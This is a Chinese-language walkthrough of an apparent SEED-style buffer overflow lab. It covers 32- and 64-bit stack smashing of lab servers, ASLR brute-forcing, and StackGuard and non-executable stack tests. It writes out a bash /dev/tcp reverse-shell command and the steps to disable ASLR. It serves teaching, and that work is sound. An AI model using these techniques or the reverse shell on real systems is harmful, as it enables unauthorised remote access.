# 缓冲区溢出原理
# 环境搭建
首先关闭地址随机化
sudo /sbin/sysctl -w kernel.randomize_va_space=0
切换到
server-code
目录下编译存在缓冲区溢出漏洞的程序,并将二进制文件复制到 bof-containers
文件夹中
cd server-code
make
make install
回到 Labsetup 目录下,执行以下命令,部署并启动 docker 环境
cd ..
dcbuild
dcup
# Task 1: Get Familiar with the Shellcode
Task 1 需要修改 shellcode,让它执行删除文件的操作shellcode
文件夹中提供了两个 py 文件,运行后分别会输出 32 位和 64 的二进制机器码文件 codefile_32
和 codefile_64
然后运行
Makefile
编译出可执行文件,运行查看结果 查看 32 位程序的 python 的源代码
假设要删除的文件名为
delete_target
,则删除的命令为 /bin/rm -f delete_target
修改这行代码,并且不能改变 shellcode 的长度,因此填充空格将
*
对齐
编译生成新的可执行文件,并创建一个 delete_target
,然后运行 a32.out
,文件成功被删除
# Task 2: Level-1 Attack
新开一个终端界面,切换至 attack-code
目录,向服务端发送信息
echo hello nc 10.9.0.5 9090
^C
docker 终端会显示 EBP 和 bof () 函数中 buffer 地址的值
10.9.0.5
上运行的程序设置了一个 517 字节的缓冲区,并且使用了 strcpy()
函数,所以如果接收的数据超过 517 字节则会触发缓冲区溢出漏洞 编辑
exploit.py
,将上一步 shellcode_32.py
中的 shellcode 复制到对应位置 修改变量
start
, ret
和 offset
的值 运行
exploit.py
生成 badfile
,然后使用 cat badfile
的方式发送至服务器
./exploit.py
cat badfile nc 10.9.0.5 9090
接下来修改 shellcode 在服务器上执行一个反弹 shell,相应的命令为
/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1
命令中, -i
参数表示启动一个交互式 bash, > /dev/tcp/x.x.x.x/xxxx
表示将输出发送到远程地址 x.x.x.x
的 xxxx
端口 0
, 1
, 2
是特殊的文件描述符,分别表示:
- 0:
stdin
,标准输入 - 1:
stdout
,标准输出 - 2:
stderr
,标准错误输出
0<&1
和 2>&1
就表示将输入和错误输出都重定向到标准输出中 新建一个终端,使用 nc -lnv 9090
监听 9090 端口,然后发送新的 shellcode 至服务端 反弹 shell 成功连接到 nc 监听的端口
# Task 3: Level-2 Attack
连接至另一个服务端 10.9.0.6,同样先输入 echo hello nc 10.9.0.6 9090
然后 ctrl+c 结束 此时 docker 终端只显示了 buffer 的地址,没有显示 EBP 的值,但已知 buffer 的大小为 [100, 300] 区间内,所以可以将 100 到 308 内的每四字节都替换为返回地址
ret
重新编译并发送至服务器,可以看到 shellcode 成功执行
# Task 4: Level-3 Attack
Task 4 的目标机器为 10.9.0.7,首先发送 echo hello 查看服务器输出 可以看到,10.9.0.7 上运行的是 64 位的程序
根据实验手册中的描述,64 位程序的处理难点在于如何覆盖 64 位返回地址
64 位程序的实际可用地址为 0x0
至 0x00007FFFFFFFFFFF
,前两字节固定为 \x00
,而 strcpy()
函数在复制时遇到 \x00
则会停止,所以 ret
应使用小端位序,将 \x00
字节放在后面
编辑 exploit.py
,首先复制 shellcode_64.py
中的 64 位 shellcode 修改
start
, ret
, offset
和 content
发送至服务器,shellcode 成功执行
# Task 5: Level-4 Attack
首先发送 echo hello,查看服务器的输出 对比 task4 的程序,task5 程序的 RBP 值和 buffer 地址之间的间隔变小了
修改 exploit.py
,将 ret
的值设为 RBP+n
, n
是 [1184, 1424] 之间的值,取 n=1200
(原理暂不清楚)
# Task 6: Experimenting with the Address Randomization
首先打开地址随机化
sudo sysctl -w kernel.randomize_va_space=2
向 10.9.0.5 服务器发送两次 echo hello 信息,可以看到每次运行时的地址都不一样
在 32 位程序中,只有 19 位地址可以被用作地址随机化,这个规模其实并不大,可以通过爆破的方式破解
利用 Task 2 中的 shellcode 和 attack-code
目录下的 brute-forth.sh
脚本进行攻击 爆破尝试了 32419 次后成功执行了反弹 shell
# Task 7: Experimenting with Other Countermeasures
# StackGuard 保护机制
进入 server-code
目录,编辑 Makefile
,去除 -fno-stack-protector
选项,重新编译生成可执行文件 用
badfile
作为 stack-L1
的输入
./stack-L1 < ../attack-code/badfile
显示检测到了 stack smashing,程序停止运行
# 不可执行栈
进入 shellcode
文件夹,编辑 Makefile
,去除 -z execstack
选项,重新编译生成可执行文件 此时编译出的两个程序都无法正常运行